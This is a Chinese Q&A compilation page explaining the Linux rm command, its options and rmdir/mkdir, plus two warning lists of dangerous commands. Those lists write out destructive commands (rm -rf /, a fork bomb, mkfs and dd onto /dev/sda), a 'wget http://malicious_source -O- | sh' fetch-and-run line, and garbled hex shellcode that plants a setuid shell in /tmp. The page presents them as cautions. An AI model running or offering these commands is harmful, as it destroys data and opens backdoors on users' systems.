當前位置:首頁 » 操作系統 » linux命令rm

linux命令rm

發布時間: 2022-05-21 08:46:37

『壹』 linux系統刪除文件夾命令

linux系統刪除文件夾命令rm。linux刪除目錄還是習慣用rmdir,不過一旦目錄非空,就陷入深深的苦惱之中,使用rm -rf命令即可。

直接rm就可以了,不過要加兩個參數-rf 即:rm -rf 目錄名字,刪除目錄、文件 rm(remove),功能說明:刪除文件或目錄。

(1)linux命令rm擴展閱讀

參數:

1、-d或–directory:直接把欲刪除的目錄的硬連接數據刪成0,刪除該目錄。

2、-f或–force:強制刪除文件或目錄。

3、-i或–interactive:刪除既有文件或目錄之前先詢問用戶。

4、-r或-R或–recursive:遞歸處理,將指定目錄下的所有文件及子目錄一並處理。

5、-v或–verbose:顯示指令執行過程。

『貳』 linux下中的 rm 命令選項-i 什麼意思

-i:進行任何刪除操作前必須先確認。

用戶可以用rm命令刪除不需要的文件。該命令的功能為刪除一個目錄中的一個或多個文件或目錄,它也可以將某個目錄及其下的所有文件及子目錄均刪除。

(2)linux命令rm擴展閱讀

linux下rm命令使用詳解

rm命令的一般形式為:rm[選項]... 目錄... 刪除指定的<文件>(即解除鏈接)。

-d:刪除可能仍有數據的目錄 (只限超級用戶)。


-f:略過不存在的文件,不顯示任何信息。

-i:進行任何刪除操作前必須先確認。

-r/R:同時刪除該目錄下的所有目錄層。

-v :詳細顯示進行的步驟。

-help:顯示此幫助信息並離開。

--version:顯示版本信息並離開。

範例:

刪除所有rb語言程序檔;刪除前逐一詢問確認:rm-i *.rb。

將 Finished 子目錄及子目錄中所有檔案刪除:rm -r Finished。

將 Finished 子目錄及子目錄中所有檔案刪除,並且不用--確認:rm -rf Finished。

『叄』 Linux執行的10個最危險的命令是哪些

Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什麼時候。這篇文章並不打算引來你對Linux或linux命令行的憤怒。我們只是想讓你意識到在你運行某些命令時應該三思而後行。(譯註:當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普通用戶身份下,破壞的只是自己的一畝三分地。)

1. rm -rf命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是「甚至是非空的文件夾」)
rm -f命令能不經過詢問直接刪除『只讀文件』。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。)
rm -rf / :強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . :強制刪除當前文件夾及其子文件夾。
從現在起,當你要執行rm -rf命令時請留心一點。我們可以在「.bashrc」文件對『rm『命令創建rm -i的別名,來預防用『rm『命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};:命令
這就是個fork炸彈的實例。具體操作是通過定義一個名為『:『的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3.命令> /dev/sda
上列命令會將某個『命令『的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv文件夾/dev/null
這個命令會移動某個『文件夾『到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止數據恢復軟體的救贖,所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被『捲入』黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意:你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備『sda』,你無疑知道在執行上列命令後你的塊設備(硬碟驅動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是「>>」,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在我們十個鮮為人知的Linux命令- Part 3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的「黑客」技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10.隱藏命令
下面的命令其實就是上面第一個命令(rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(「.text」))) /* e.s.p
release */
=「&euml;>[1&Agrave;PTZƒìdh″
「&yuml;&yuml;&yuml;&yuml;h&szlig;&ETH;&szlig;&Ugrave;h™″
「&szlig;h』&szlig;&Ograve;T^÷÷″
「V÷V÷Vƒ&Auml;tV″
「sVSTY°&Iacute;€1″
「&Agrave;@&euml;ùè&frac12;&yuml;&yuml;&yuml;/bi″
「n/sh-c″
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;注意:不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令。如果你想測試它們,請在虛擬機上運行。任何不和諧或數據丟失,由於運行上面的命令導致你的系統崩潰,文章作者和Tecmint概不負責。(譯註:譯者和轉載網站也不負責~!)

『肆』 LINUX系統有哪些危險命令

這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。

『伍』 linux rm命令怎麼用

linux rm命令用於刪除文件,其使用步驟如下:

需要准備的材料分別是:電腦、linux連接工具。

1、首先連接上linux主機,進入命令行狀態。

『陸』 Linux刪除文件夾命令

Linux刪除文件夾命令是rmdir。

rmdir

使用許可權:於目前目錄有適當許可權的所有使用者。

使用方式:rmdir dirName。

參數:-p是當子目錄被刪除後使它也成為空目錄的話,則順便一並刪除。

說明:刪除已建立的目錄。

範例:

1、將工作目錄下,名為AAA的子目錄刪除:rmdirAAA。

2、在工作目錄下的BBB目錄中,刪除名為Test的子目錄。若Test刪除後,BBB目錄成為空目錄,則BBB亦予刪除:rmdir-pBBB/Test。

創建文件夾命令:

mkdir

使用許可權:於目前目錄有適當許可權的所有使用者。

使用方式:mkdir dirName。

參數:-p確保目錄名稱存在,不存在的就建一個。

說明:建立名稱為dirName之子目錄。

範例:

1、在工作目錄下,建立一個名為AAA的子目錄:mkdirAAA。

2、在工作目錄下的 BBB 目錄中,建立一個名為Test的子目錄。若 BBB目錄原本不存在,則建立一個。(註:本例若不加 -p,且原本 BBB目錄不存在,則產生錯誤。):mkdir-pBBB/Test。

『柒』 linux rm命令怎麼用

Linux rm,英文全拼:remove,該命令用於刪除一個文件或者目錄。

Linux rm命令是一個非常強大的刪除命令,它可以永久性地刪除文件系統中指定的文件或目錄。在使用rm命令刪除文件或目錄時,系統不會產生任何提示信息。

語法

rm [options] name...

參數

-i 刪除前逐一詢問確認

-f 即使原檔案屬性設為唯讀,亦直接刪除,無需逐一確認

-r 將目錄及以下之檔案亦逐一刪除

注意:rm命令是一個具有破壞性的命令,因為rm命令會永久性刪除文件或目錄,這就意味著,如果沒有對文件或目錄進行備份,一旦使用rm命令將其刪除,將無法恢復。因此,尤其在使用rm命令刪除目錄時,要非常非常謹慎。

『捌』 linux中的刪除命令: rm -R怎麼用

rm是linux中的刪除命令。rm -r 並不是一個完整的命令後面還需要加上需要刪除的路徑
例如:rm -r test 就是刪除test 不管他是文件還是目錄,rm的使用詳情如下:
語法 rm (選項)(參數)
選項
-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;
-f:強制刪除文件或目錄;
-i:刪除已有文件或目錄之前先詢問用戶;
-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;
--preserve-root:不對根目錄進行遞歸操作;
-v:顯示指令的詳細執行過程。
參數 文件:指定被刪除的文件列表,如果參數中含有目錄,則必須加上-r或者-R選項。 實例 互動式刪除當前目錄下的文件test和example rm -i test example Remove test ?n(不刪除文件test) Remove example ?y(刪除文件example)
刪除當前目錄下除隱含文件外的所有文件和子目錄
# rm -r *
應注意,這樣做是非常危險的!

『玖』 Linux中的rm命令

rm命令:

1、可以刪除一個目錄中的一個或多個文件或目錄。

2、可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。

3、對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。

語法選項:

-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;

-f:強制刪除文件或目錄;

-i:刪除已有文件或目錄之前先詢問用戶;

-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;

-preserve-root:不對根目錄進行遞歸操作;

-v:顯示指令的詳細執行過程。

(9)linux命令rm擴展閱讀:

rm同時刪除多個文件命令:rm <filename1> <filename2>

要刪除第一個字元為『-』的文件 (例如『-foo』),請使用以下其中一種方法:
rm-- -foo

rm./-foo

請注意,如果使用 rm 來刪除文件,通常仍可以將該文件恢復原狀。如果想保證
該文件的內容無法還原,請考慮使用 shred。

刪除所有rb語言程序檔;刪除前逐一詢問確認 :
rm-i *.rb

將 Finished 子目錄及子目錄中所有檔案刪除 :
rm -r Finished

將 Finished 子目錄及子目錄中所有檔案刪除,並且不用--確認 :

rm -rf Finished



『拾』 linux shell中,unlink和rm命令有什麼區別

strace 跑 rm 與 unlink,結果有不同地方.

1. strace rm 1.txt 片段

access("1.txt", W_OK) = 0
unlinkat(AT_FDCWD, "1.txt", 0) = 0

2. strace unlink 2.txt 片段

unlink("2.txt") = 0

我想可以再看看 unlink 與 unlinkat 的 manpage 說明應該有答案 ? :)

The unlinkat() system call operates in exactly the same way as either unlink(2) or rmdir(2) (depending on
whether or not flags includes the AT_REMOVEDIR flag) except for the differences described in this manual
page.

AT_REMOVEDIR
By default, unlinkat() performs the equivalent of unlink(2) on pathname. If the AT_REMOVEDIR flag
is specified, then performs the equivalent of rmdir(2) on pathname.

測試用 strace rm -r testdir 方式刪除一個目錄與其下的檔案目錄,結果為:

access("testdir", W_OK) = 0
unlinkat(AT_FDCWD, "testdir", AT_REMOVEDIR) = 0

所以結論一般命令用 rm 或是 unlink 都可以刪除檔案,因為都是一樣的意思。系統面呼叫來說刪除檔案一般還是使用 unlink() 呼叫,只是有另外提供 unlinkat 提供相同機制,但是可以刪除檔案或是空目錄。

不過我想其他系統的 rm 與 unlink 是有差異的,比方 solaris 就不一樣。

-bash-3.00$ uname -a
SunOS solaris 5.10 Generic_118855-33 i86pc i386 i86pc

man unlink :

System Administration Commands link(1M)

NAME
link, unlink - link and unlink files and directories

SYNOPSIS
/usr/sbin/link existing-file new-file

/usr/xpg4/bin/link existing-file new-file

/usr/sbin/unlink file

DESCRIPTION
The link and unlink commands link and unlink files and
directories. Only super-users can use these commands on
directories.

熱點內容
2021款es升級了哪些配置 發布:2024-03-28 21:26:44 瀏覽:384
下述調度演算法 發布:2024-03-28 21:22:24 瀏覽:616
捷達哪個配置裝有esp 發布:2024-03-28 21:17:41 瀏覽:196
天氣源碼 發布:2024-03-28 21:14:11 瀏覽:427
使命召喚紅魔浪潮如何配置 發布:2024-03-28 21:13:08 瀏覽:546
nginx安裝php 發布:2024-03-28 21:09:47 瀏覽:667
利用python進行數據分析pdf 發布:2024-03-28 20:33:36 瀏覽:560
php模擬post提交 發布:2024-03-28 20:23:14 瀏覽:542
phptxt下載 發布:2024-03-28 20:12:37 瀏覽:476
如何更衣櫃密碼鎖密碼設置 發布:2024-03-28 19:42:09 瀏覽:484